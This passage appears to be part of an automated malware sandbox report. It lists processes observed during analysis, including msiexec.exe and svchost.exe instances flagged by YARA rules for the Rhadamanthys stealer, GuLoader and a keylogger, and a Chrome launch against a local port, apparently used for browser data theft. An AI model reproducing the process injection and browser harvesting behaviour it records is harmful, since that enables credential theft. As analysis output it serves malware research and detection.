Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	04:46:20
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x1c0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000A.00000003.2008744102.0000000002E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000A.00000003.2013688263.00000000056E5000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000A.00000003.2020607933.00000000223F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	04:46:29
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x930000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000B.00000003.2013624031.00000000007A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000003.2016070238.0000000004D00000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000003.2015900847.0000000004AE0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000B.00000002.2104903369.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	12
Start time:	04:46:38
Start date:	05/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	04:46:50
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	--user-data-dir="C:\Users\user\AppData\Local\Temp\chrBC15.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/1aeadd7b/4a1b3c1a"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	14
Start time:	04:46:50
Start date:	05/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	15
Start time:	04:46:51
Start date:	05/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2488,i,17319326758939712999,7125565057770333449,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	04:47:09
Start date:	05/12/2024
Path:	C:\Program Files\Windows Media Player\wmpnscfg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmpnscfg.exe"
Imagebase:	0x7ff6f3970000
File size:	71'168 bytes
MD5 hash:	F912FF78DE347834EA56CEB0E12F80EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	04:47:14
Start date:	05/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\dllhost.exe"
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false